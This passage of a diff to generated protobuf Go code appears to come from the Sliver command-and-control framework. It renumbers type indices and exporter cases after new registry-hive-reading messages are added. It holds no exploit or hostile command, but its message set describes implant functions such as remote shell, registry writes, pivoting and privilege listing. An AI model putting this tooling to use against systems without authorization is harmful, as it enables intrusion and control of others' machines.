sliverpb.ScreenshotReq.Request:type_name -> commonpb.Request - 185, // 87: sliverpb.Screenshot.Response:type_name -> commonpb.Response - 186, // 88: sliverpb.StartServiceReq.Request:type_name -> commonpb.Request - 185, // 89: sliverpb.ServiceInfo.Response:type_name -> commonpb.Response + 188, // 86: sliverpb.ScreenshotReq.Request:type_name -> commonpb.Request + 187, // 87: sliverpb.Screenshot.Response:type_name -> commonpb.Response + 188, // 88: sliverpb.StartServiceReq.Request:type_name -> commonpb.Request + 187, // 89: sliverpb.ServiceInfo.Response:type_name -> commonpb.Response 89, // 90: sliverpb.StopServiceReq.ServiceInfo:type_name -> sliverpb.ServiceInfoReq - 186, // 91: sliverpb.StopServiceReq.Request:type_name -> commonpb.Request + 188, // 91: sliverpb.StopServiceReq.Request:type_name -> commonpb.Request 89, // 92: sliverpb.RemoveServiceReq.ServiceInfo:type_name -> sliverpb.ServiceInfoReq - 186, // 93: sliverpb.RemoveServiceReq.Request:type_name -> commonpb.Request - 186, // 94: sliverpb.RegistryReadReq.Request:type_name -> commonpb.Request - 185, // 95: sliverpb.RegistryRead.Response:type_name -> commonpb.Response - 186, // 96: sliverpb.RegistryWriteReq.Request:type_name -> commonpb.Request - 185, // 97: sliverpb.RegistryWrite.Response:type_name -> commonpb.Response - 186, // 98: sliverpb.RegistryCreateKeyReq.Request:type_name -> commonpb.Request - 185, // 99: sliverpb.RegistryCreateKey.Response:type_name -> commonpb.Response - 186, // 100: sliverpb.RegistryDeleteKeyReq.Request:type_name -> commonpb.Request - 185, // 101: sliverpb.RegistryDeleteKey.Response:type_name -> commonpb.Response - 186, // 102: sliverpb.RegistrySubKeyListReq.Request:type_name -> commonpb.Request - 185, // 103: sliverpb.RegistrySubKeyList.Response:type_name -> commonpb.Response - 186, // 104: sliverpb.RegistryListValuesReq.Request:type_name -> commonpb.Request - 185, // 105: sliverpb.RegistryValuesList.Response:type_name -> commonpb.Response - 156, // 106: sliverpb.TunnelData.rportfwd:type_name -> sliverpb.RPortfwd - 186, // 107: sliverpb.ShellReq.Request:type_name -> commonpb.Request - 185, // 108: sliverpb.Shell.Response:type_name -> commonpb.Response - 186, // 109: sliverpb.PortfwdReq.Request:type_name -> commonpb.Request - 185, // 110: sliverpb.Portfwd.Response:type_name -> commonpb.Response - 186, // 111: sliverpb.SocksData.Request:type_name -> commonpb.Request - 1, // 112: sliverpb.PivotStartListenerReq.Type:type_name -> sliverpb.PivotType - 186, // 113: sliverpb.PivotStartListenerReq.Request:type_name -> commonpb.Request - 186, // 114: sliverpb.PivotStopListenerReq.Request:type_name -> commonpb.Request - 1, // 115: sliverpb.PivotListener.Type:type_name -> sliverpb.PivotType - 120, // 116: sliverpb.PivotListener.Pivots:type_name -> sliverpb.NetConnPivot - 185, // 117: sliverpb.PivotListener.Response:type_name -> commonpb.Response - 117, // 118: sliverpb.PivotPeerEnvelope.Peers:type_name -> sliverpb.PivotPeer - 2, // 119: sliverpb.PivotPeerFailure.Type:type_name -> sliverpb.PeerFailureType - 186, // 120: sliverpb.PivotListenersReq.Request:type_name -> commonpb.Request - 114, // 121: sliverpb.PivotListeners.Listeners:type_name -> sliverpb.PivotListener - 185, // 122: sliverpb.PivotListeners.Response:type_name -> commonpb.Response - 186, // 123: sliverpb.WGPortForwardStartReq.Request:type_name -> commonpb.Request - 132, // 124: sliverpb.WGPortForward.Forwarder:type_name -> sliverpb.WGTCPForwarder - 185, // 125: sliverpb.WGPortForward.Response:type_name -> commonpb.Response - 186, // 126: sliverpb.WGPortForwardStopReq.Request:type_name -> commonpb.Request - 186, // 127: sliverpb.WGSocksStartReq.Request:type_name -> commonpb.Request - 133, // 128: sliverpb.WGSocks.Server:type_name -> sliverpb.WGSocksServer - 185, // 129: sliverpb.WGSocks.Response:type_name -> commonpb.Response - 186, // 130: sliverpb.WGSocksStopReq.Request:type_name -> commonpb.Request - 186, // 131: sliverpb.WGTCPForwardersReq.Request:type_name -> commonpb.Request - 186, // 132: sliverpb.WGSocksServersReq.Request:type_name -> commonpb.Request - 133, // 133: sliverpb.WGSocksServers.Servers:type_name -> sliverpb.WGSocksServer - 185, // 134: sliverpb.WGSocksServers.Response:type_name -> commonpb.Response - 132, // 135: sliverpb.WGTCPForwarders.Forwarders:type_name -> sliverpb.WGTCPForwarder - 185, // 136: sliverpb.WGTCPForwarders.Response:type_name -> commonpb.Response - 186, // 137: sliverpb.ReconfigureReq.Request:type_name -> commonpb.Request - 185, // 138: sliverpb.Reconfigure.Response:type_name -> commonpb.Response - 186, // 139: sliverpb.PollIntervalReq.Request:type_name -> commonpb.Request - 185, // 140: sliverpb.PollInterval.Response:type_name -> commonpb.Response - 186, // 141: sliverpb.SSHCommandReq.Request:type_name -> commonpb.Request - 185, // 142: sliverpb.SSHCommand.Response:type_name -> commonpb.Response - 186, // 143: sliverpb.GetPrivsReq.Request:type_name -> commonpb.Request - 143, // 144: sliverpb.GetPrivs.PrivInfo:type_name -> sliverpb.WindowsPrivilegeEntry - 185, // 145: sliverpb.GetPrivs.Response:type_name -> commonpb.Response - 186, // 146: sliverpb.RegisterExtensionReq.Request:type_name -> commonpb.Request - 185, // 147: sliverpb.RegisterExtension.Response:type_name -> commonpb.Response - 186, // 148: sliverpb.CallExtensionReq.Request:type_name -> commonpb.Request - 185, // 149: sliverpb.CallExtension.Response:type_name -> commonpb.Response - 186, // 150: sliverpb.ListExtensionsReq.Request:type_name -> commonpb.Request - 185, // 151: sliverpb.ListExtensions.Response:type_name -> commonpb.Response - 186, // 152: sliverpb.RportFwdStopListenerReq.Request:type_name -> commonpb.Request - 186, // 153: sliverpb.RportFwdStartListenerReq.Request:type_name -> commonpb.Request - 185, // 154: sliverpb.RportFwdListener.Response:type_name -> commonpb.Response - 153, // 155: sliverpb.RportFwdListeners.Listeners:type_name -> sliverpb.RportFwdListener - 185, // 156: sliverpb.RportFwdListeners.Response:type_name -> commonpb.Response - 186, // 157: sliverpb.RportFwdListenersReq.Request:type_name -> commonpb.Request - 185, // 158: sliverpb.RPortfwd.Response:type_name -> commonpb.Response - 186, // 159: sliverpb.RPortfwdReq.Request:type_name -> commonpb.Request - 186, // 160: sliverpb.ChmodReq.Request:type_name -> commonpb.Request - 185, // 161: sliverpb.Chmod.Response:type_name -> commonpb.Response - 186, // 162: sliverpb.ChownReq.Request:type_name -> commonpb.Request - 185, // 163: sliverpb.Chown.Response:type_name -> commonpb.Response - 186, // 164: sliverpb.ChtimesReq.Request:type_name -> commonpb.Request - 185, // 165: sliverpb.Chtimes.Response:type_name -> commonpb.Response - 186, // 166: sliverpb.MemfilesListReq.Request:type_name -> commonpb.Request - 186, // 167: sliverpb.MemfilesAddReq.Request:type_name -> commonpb.Request - 185, // 168: sliverpb.MemfilesAdd.Response:type_name -> commonpb.Response - 186, // 169: sliverpb.MemfilesRmReq.Request:type_name -> commonpb.Request - 185, // 170: sliverpb.MemfilesRm.Response:type_name -> commonpb.Response - 186, // 171: sliverpb.RegisterWasmExtensionReq.Request:type_name -> commonpb.Request - 185, // 172: sliverpb.RegisterWasmExtension.Response:type_name -> commonpb.Response - 186, // 173: sliverpb.DeregisterWasmExtensionReq.Request:type_name -> commonpb.Request - 186, // 174: sliverpb.ListWasmExtensionsReq.Request:type_name -> commonpb.Request - 185, // 175: sliverpb.ListWasmExtensions.Response:type_name -> commonpb.Response - 184, // 176: sliverpb.ExecWasmExtensionReq.MemFS:type_name -> sliverpb.ExecWasmExtensionReq.MemFSEntry - 186, // 177: sliverpb.ExecWasmExtensionReq.Request:type_name -> commonpb.Request - 185, // 178: sliverpb.ExecWasmExtension.Response:type_name -> commonpb.Response - 186, // 179: sliverpb.ServicesReq.Request:type_name -> commonpb.Request - 89, // 180: sliverpb.ServiceDetailReq.ServiceInfo:type_name -> sliverpb.ServiceInfoReq - 186, // 181: sliverpb.ServiceDetailReq.Request:type_name -> commonpb.Request - 178, // 182: sliverpb.Services.Details:type_name -> sliverpb.ServiceDetails - 185, // 183: sliverpb.Services.Response:type_name -> commonpb.Response - 178, // 184: sliverpb.ServiceDetail.Detail:type_name -> sliverpb.ServiceDetails - 185, // 185: sliverpb.ServiceDetail.Response:type_name -> commonpb.Response - 89, // 186: sliverpb.StartServiceByNameReq.ServiceInfo:type_name -> sliverpb.ServiceInfoReq - 186, // 187: sliverpb.StartServiceByNameReq.Request:type_name -> commonpb.Request - 40, // 188: sliverpb.Grep.ResultsEntry.value:type_name -> sliverpb.GrepResultsForFile - 189, // [189:189] is the sub-list for method output_type - 189, // [189:189] is the sub-list for method input_type - 189, // [189:189] is the sub-list for extension type_name - 189, // [189:189] is the sub-list for extension extendee - 0, // [0:189] is the sub-list for field type_name + 188, // 93: sliverpb.RemoveServiceReq.Request:type_name -> commonpb.Request + 188, // 94: sliverpb.RegistryReadReq.Request:type_name -> commonpb.Request + 187, // 95: sliverpb.RegistryRead.Response:type_name -> commonpb.Response + 188, // 96: sliverpb.RegistryWriteReq.Request:type_name -> commonpb.Request + 187, // 97: sliverpb.RegistryWrite.Response:type_name -> commonpb.Response + 188, // 98: sliverpb.RegistryCreateKeyReq.Request:type_name -> commonpb.Request + 187, // 99: sliverpb.RegistryCreateKey.Response:type_name -> commonpb.Response + 188, // 100: sliverpb.RegistryDeleteKeyReq.Request:type_name -> commonpb.Request + 187, // 101: sliverpb.RegistryDeleteKey.Response:type_name -> commonpb.Response + 188, // 102: sliverpb.RegistrySubKeyListReq.Request:type_name -> commonpb.Request + 187, // 103: sliverpb.RegistrySubKeyList.Response:type_name -> commonpb.Response + 188, // 104: sliverpb.RegistryListValuesReq.Request:type_name -> commonpb.Request + 187, // 105: sliverpb.RegistryValuesList.Response:type_name -> commonpb.Response + 188, // 106: sliverpb.RegistryReadHiveReq.Request:type_name -> commonpb.Request + 187, // 107: sliverpb.RegistryReadHive.Response:type_name -> commonpb.Response + 158, // 108: sliverpb.TunnelData.rportfwd:type_name -> sliverpb.RPortfwd + 188, // 109: sliverpb.ShellReq.Request:type_name -> commonpb.Request + 187, // 110: sliverpb.Shell.Response:type_name -> commonpb.Response + 188, // 111: sliverpb.PortfwdReq.Request:type_name -> commonpb.Request + 187, // 112: sliverpb.Portfwd.Response:type_name -> commonpb.Response + 188, // 113: sliverpb.SocksData.Request:type_name -> commonpb.Request + 1, // 114: sliverpb.PivotStartListenerReq.Type:type_name -> sliverpb.PivotType + 188, // 115: sliverpb.PivotStartListenerReq.Request:type_name -> commonpb.Request + 188, // 116: sliverpb.PivotStopListenerReq.Request:type_name -> commonpb.Request + 1, // 117: sliverpb.PivotListener.Type:type_name -> sliverpb.PivotType + 122, // 118: sliverpb.PivotListener.Pivots:type_name -> sliverpb.NetConnPivot + 187, // 119: sliverpb.PivotListener.Response:type_name -> commonpb.Response + 119, // 120: sliverpb.PivotPeerEnvelope.Peers:type_name -> sliverpb.PivotPeer + 2, // 121: sliverpb.PivotPeerFailure.Type:type_name -> sliverpb.PeerFailureType + 188, // 122: sliverpb.PivotListenersReq.Request:type_name -> commonpb.Request + 116, // 123: sliverpb.PivotListeners.Listeners:type_name -> sliverpb.PivotListener + 187, // 124: sliverpb.PivotListeners.Response:type_name -> commonpb.Response + 188, // 125: sliverpb.WGPortForwardStartReq.Request:type_name -> commonpb.Request + 134, // 126: sliverpb.WGPortForward.Forwarder:type_name -> sliverpb.WGTCPForwarder + 187, // 127: sliverpb.WGPortForward.Response:type_name -> commonpb.Response + 188, // 128: sliverpb.WGPortForwardStopReq.Request:type_name -> commonpb.Request + 188, // 129: sliverpb.WGSocksStartReq.Request:type_name -> commonpb.Request + 135, // 130: sliverpb.WGSocks.Server:type_name -> sliverpb.WGSocksServer + 187, // 131: sliverpb.WGSocks.Response:type_name -> commonpb.Response + 188, // 132: sliverpb.WGSocksStopReq.Request:type_name -> commonpb.Request + 188, // 133: sliverpb.WGTCPForwardersReq.Request:type_name -> commonpb.Request + 188, // 134: sliverpb.WGSocksServersReq.Request:type_name -> commonpb.Request + 135, // 135: sliverpb.WGSocksServers.Servers:type_name -> sliverpb.WGSocksServer + 187, // 136: sliverpb.WGSocksServers.Response:type_name -> commonpb.Response + 134, // 137: sliverpb.WGTCPForwarders.Forwarders:type_name -> sliverpb.WGTCPForwarder + 187, // 138: sliverpb.WGTCPForwarders.Response:type_name -> commonpb.Response + 188, // 139: sliverpb.ReconfigureReq.Request:type_name -> commonpb.Request + 187, // 140: sliverpb.Reconfigure.Response:type_name -> commonpb.Response + 188, // 141: sliverpb.PollIntervalReq.Request:type_name -> commonpb.Request + 187, // 142: sliverpb.PollInterval.Response:type_name -> commonpb.Response + 188, // 143: sliverpb.SSHCommandReq.Request:type_name -> commonpb.Request + 187, // 144: sliverpb.SSHCommand.Response:type_name -> commonpb.Response + 188, // 145: sliverpb.GetPrivsReq.Request:type_name -> commonpb.Request + 145, // 146: sliverpb.GetPrivs.PrivInfo:type_name -> sliverpb.WindowsPrivilegeEntry + 187, // 147: sliverpb.GetPrivs.Response:type_name -> commonpb.Response + 188, // 148: sliverpb.RegisterExtensionReq.Request:type_name -> commonpb.Request + 187, // 149: sliverpb.RegisterExtension.Response:type_name -> commonpb.Response + 188, // 150: sliverpb.CallExtensionReq.Request:type_name -> commonpb.Request + 187, // 151: sliverpb.CallExtension.Response:type_name -> commonpb.Response + 188, // 152: sliverpb.ListExtensionsReq.Request:type_name -> commonpb.Request + 187, // 153: sliverpb.ListExtensions.Response:type_name -> commonpb.Response + 188, // 154: sliverpb.RportFwdStopListenerReq.Request:type_name -> commonpb.Request + 188, // 155: sliverpb.RportFwdStartListenerReq.Request:type_name -> commonpb.Request + 187, // 156: sliverpb.RportFwdListener.Response:type_name -> commonpb.Response + 155, // 157: sliverpb.RportFwdListeners.Listeners:type_name -> sliverpb.RportFwdListener + 187, // 158: sliverpb.RportFwdListeners.Response:type_name -> commonpb.Response + 188, // 159: sliverpb.RportFwdListenersReq.Request:type_name -> commonpb.Request + 187, // 160: sliverpb.RPortfwd.Response:type_name -> commonpb.Response + 188, // 161: sliverpb.RPortfwdReq.Request:type_name -> commonpb.Request + 188, // 162: sliverpb.ChmodReq.Request:type_name -> commonpb.Request + 187, // 163: sliverpb.Chmod.Response:type_name -> commonpb.Response + 188, // 164: sliverpb.ChownReq.Request:type_name -> commonpb.Request + 187, // 165: sliverpb.Chown.Response:type_name -> commonpb.Response + 188, // 166: sliverpb.ChtimesReq.Request:type_name -> commonpb.Request + 187, // 167: sliverpb.Chtimes.Response:type_name -> commonpb.Response + 188, // 168: sliverpb.MemfilesListReq.Request:type_name -> commonpb.Request + 188, // 169: sliverpb.MemfilesAddReq.Request:type_name -> commonpb.Request + 187, // 170: sliverpb.MemfilesAdd.Response:type_name -> commonpb.Response + 188, // 171: sliverpb.MemfilesRmReq.Request:type_name -> commonpb.Request + 187, // 172: sliverpb.MemfilesRm.Response:type_name -> commonpb.Response + 188, // 173: sliverpb.RegisterWasmExtensionReq.Request:type_name -> commonpb.Request + 187, // 174: sliverpb.RegisterWasmExtension.Response:type_name -> commonpb.Response + 188, // 175: sliverpb.DeregisterWasmExtensionReq.Request:type_name -> commonpb.Request + 188, // 176: sliverpb.ListWasmExtensionsReq.Request:type_name -> commonpb.Request + 187, // 177: sliverpb.ListWasmExtensions.Response:type_name -> commonpb.Response + 186, // 178: sliverpb.ExecWasmExtensionReq.MemFS:type_name -> sliverpb.ExecWasmExtensionReq.MemFSEntry + 188, // 179: sliverpb.ExecWasmExtensionReq.Request:type_name -> commonpb.Request + 187, // 180: sliverpb.ExecWasmExtension.Response:type_name -> commonpb.Response + 188, // 181: sliverpb.ServicesReq.Request:type_name -> commonpb.Request + 89, // 182: sliverpb.ServiceDetailReq.ServiceInfo:type_name -> sliverpb.ServiceInfoReq + 188, // 183: sliverpb.ServiceDetailReq.Request:type_name -> commonpb.Request + 180, // 184: sliverpb.Services.Details:type_name -> sliverpb.ServiceDetails + 187, // 185: sliverpb.Services.Response:type_name -> commonpb.Response + 180, // 186: sliverpb.ServiceDetail.Detail:type_name -> sliverpb.ServiceDetails + 187, // 187: sliverpb.ServiceDetail.Response:type_name -> commonpb.Response + 89, // 188: sliverpb.StartServiceByNameReq.ServiceInfo:type_name -> sliverpb.ServiceInfoReq + 188, // 189: sliverpb.StartServiceByNameReq.Request:type_name -> commonpb.Request + 40, // 190: sliverpb.Grep.ResultsEntry.value:type_name -> sliverpb.GrepResultsForFile + 191, // [191:191] is the sub-list for method output_type + 191, // [191:191] is the sub-list for method input_type + 191, // [191:191] is the sub-list for extension type_name + 191, // [191:191] is the sub-list for extension extendee + 0, // [0:191] is the sub-list for field type_name } func init() { file_sliverpb_sliver_proto_init() } @@ -15068,7 +15214,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[101].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Tunnel); i { + switch v := v.(*RegistryReadHiveReq); i { case 0: return &v.state case 1: @@ -15080,7 +15226,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[102].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*TunnelData); i { + switch v := v.(*RegistryReadHive); i { case 0: return &v.state case 1: @@ -15092,7 +15238,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[103].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ShellReq); i { + switch v := v.(*Tunnel); i { case 0: return &v.state case 1: @@ -15104,7 +15250,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[104].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Shell); i { + switch v := v.(*TunnelData); i { case 0: return &v.state case 1: @@ -15116,7 +15262,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[105].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*PortfwdReq); i { + switch v := v.(*ShellReq); i { case 0: return &v.state case 1: @@ -15128,7 +15274,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[106].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Portfwd); i { + switch v := v.(*Shell); i { case 0: return &v.state case 1: @@ -15140,7 +15286,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[107].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Socks); i { + switch v := v.(*PortfwdReq); i { case 0: return &v.state case 1: @@ -15152,7 +15298,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[108].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*SocksData); i { + switch v := v.(*Portfwd); i { case 0: return &v.state case 1: @@ -15164,7 +15310,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[109].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*PivotStartListenerReq); i { + switch v := v.(*Socks); i { case 0: return &v.state case 1: @@ -15176,7 +15322,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[110].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*PivotStopListenerReq); i { + switch v := v.(*SocksData); i { case 0: return &v.state case 1: @@ -15188,7 +15334,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[111].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*PivotListener); i { + switch v := v.(*PivotStartListenerReq); i { case 0: return &v.state case 1: @@ -15200,7 +15346,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[112].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*PivotHello); i { + switch v := v.(*PivotStopListenerReq); i { case 0: return &v.state case 1: @@ -15212,7 +15358,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[113].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*PivotServerKeyExchange); i { + switch v := v.(*PivotListener); i { case 0: return &v.state case 1: @@ -15224,7 +15370,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[114].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*PivotPeer); i { + switch v := v.(*PivotHello); i { case 0: return &v.state case 1: @@ -15236,7 +15382,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[115].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*PivotPeerEnvelope); i { + switch v := v.(*PivotServerKeyExchange); i { case 0: return &v.state case 1: @@ -15248,7 +15394,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[116].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*PivotPing); i { + switch v := v.(*PivotPeer); i { case 0: return &v.state case 1: @@ -15260,7 +15406,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[117].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*NetConnPivot); i { + switch v := v.(*PivotPeerEnvelope); i { case 0: return &v.state case 1: @@ -15272,7 +15418,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[118].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*PivotPeerFailure); i { + switch v := v.(*PivotPing); i { case 0: return &v.state case 1: @@ -15284,7 +15430,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[119].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*PivotListenersReq); i { + switch v := v.(*NetConnPivot); i { case 0: return &v.state case 1: @@ -15296,7 +15442,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[120].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*PivotListeners); i { + switch v := v.(*PivotPeerFailure); i { case 0: return &v.state case 1: @@ -15308,7 +15454,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[121].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*WGPortForwardStartReq); i { + switch v := v.(*PivotListenersReq); i { case 0: return &v.state case 1: @@ -15320,7 +15466,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[122].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*WGPortForward); i { + switch v := v.(*PivotListeners); i { case 0: return &v.state case 1: @@ -15332,7 +15478,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[123].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*WGPortForwardStopReq); i { + switch v := v.(*WGPortForwardStartReq); i { case 0: return &v.state case 1: @@ -15344,7 +15490,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[124].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*WGSocksStartReq); i { + switch v := v.(*WGPortForward); i { case 0: return &v.state case 1: @@ -15356,7 +15502,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[125].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*WGSocks); i { + switch v := v.(*WGPortForwardStopReq); i { case 0: return &v.state case 1: @@ -15368,7 +15514,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[126].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*WGSocksStopReq); i { + switch v := v.(*WGSocksStartReq); i { case 0: return &v.state case 1: @@ -15380,7 +15526,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[127].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*WGTCPForwardersReq); i { + switch v := v.(*WGSocks); i { case 0: return &v.state case 1: @@ -15392,7 +15538,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[128].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*WGSocksServersReq); i { + switch v := v.(*WGSocksStopReq); i { case 0: return &v.state case 1: @@ -15404,7 +15550,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[129].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*WGTCPForwarder); i { + switch v := v.(*WGTCPForwardersReq); i { case 0: return &v.state case 1: @@ -15416,7 +15562,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[130].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*WGSocksServer); i { + switch v := v.(*WGSocksServersReq); i { case 0: return &v.state case 1: @@ -15428,7 +15574,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[131].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*WGSocksServers); i { + switch v := v.(*WGTCPForwarder); i { case 0: return &v.state case 1: @@ -15440,7 +15586,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[132].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*WGTCPForwarders); i { + switch v := v.(*WGSocksServer); i { case 0: return &v.state case 1: @@ -15452,7 +15598,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[133].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ReconfigureReq); i { + switch v := v.(*WGSocksServers); i { case 0: return &v.state case 1: @@ -15464,7 +15610,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[134].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Reconfigure); i { + switch v := v.(*WGTCPForwarders); i { case 0: return &v.state case 1: @@ -15476,7 +15622,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[135].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*PollIntervalReq); i { + switch v := v.(*ReconfigureReq); i { case 0: return &v.state case 1: @@ -15488,7 +15634,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[136].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*PollInterval); i { + switch v := v.(*Reconfigure); i { case 0: return &v.state case 1: @@ -15500,7 +15646,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[137].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*SSHCommandReq); i { + switch v := v.(*PollIntervalReq); i { case 0: return &v.state case 1: @@ -15512,7 +15658,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[138].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*SSHCommand); i { + switch v := v.(*PollInterval); i { case 0: return &v.state case 1: @@ -15524,7 +15670,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[139].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*GetPrivsReq); i { + switch v := v.(*SSHCommandReq); i { case 0: return &v.state case 1: @@ -15536,7 +15682,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[140].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*WindowsPrivilegeEntry); i { + switch v := v.(*SSHCommand); i { case 0: return &v.state case 1: @@ -15548,7 +15694,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[141].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*GetPrivs); i { + switch v := v.(*GetPrivsReq); i { case 0: return &v.state case 1: @@ -15560,7 +15706,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[142].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*RegisterExtensionReq); i { + switch v := v.(*WindowsPrivilegeEntry); i { case 0: return &v.state case 1: @@ -15572,7 +15718,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[143].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*RegisterExtension); i { + switch v := v.(*GetPrivs); i { case 0: return &v.state case 1: @@ -15584,7 +15730,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[144].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CallExtensionReq); i { + switch v := v.(*RegisterExtensionReq); i { case 0: return &v.state case 1: @@ -15596,7 +15742,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[145].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CallExtension); i { + switch v := v.(*RegisterExtension); i { case 0: return &v.state case 1: @@ -15608,7 +15754,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[146].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ListExtensionsReq); i { + switch v := v.(*CallExtensionReq); i { case 0: return &v.state case 1: @@ -15620,7 +15766,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[147].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ListExtensions); i { + switch v := v.(*CallExtension); i { case 0: return &v.state case 1: @@ -15632,7 +15778,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[148].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*RportFwdStopListenerReq); i { + switch v := v.(*ListExtensionsReq); i { case 0: return &v.state case 1: @@ -15644,7 +15790,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[149].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*RportFwdStartListenerReq); i { + switch v := v.(*ListExtensions); i { case 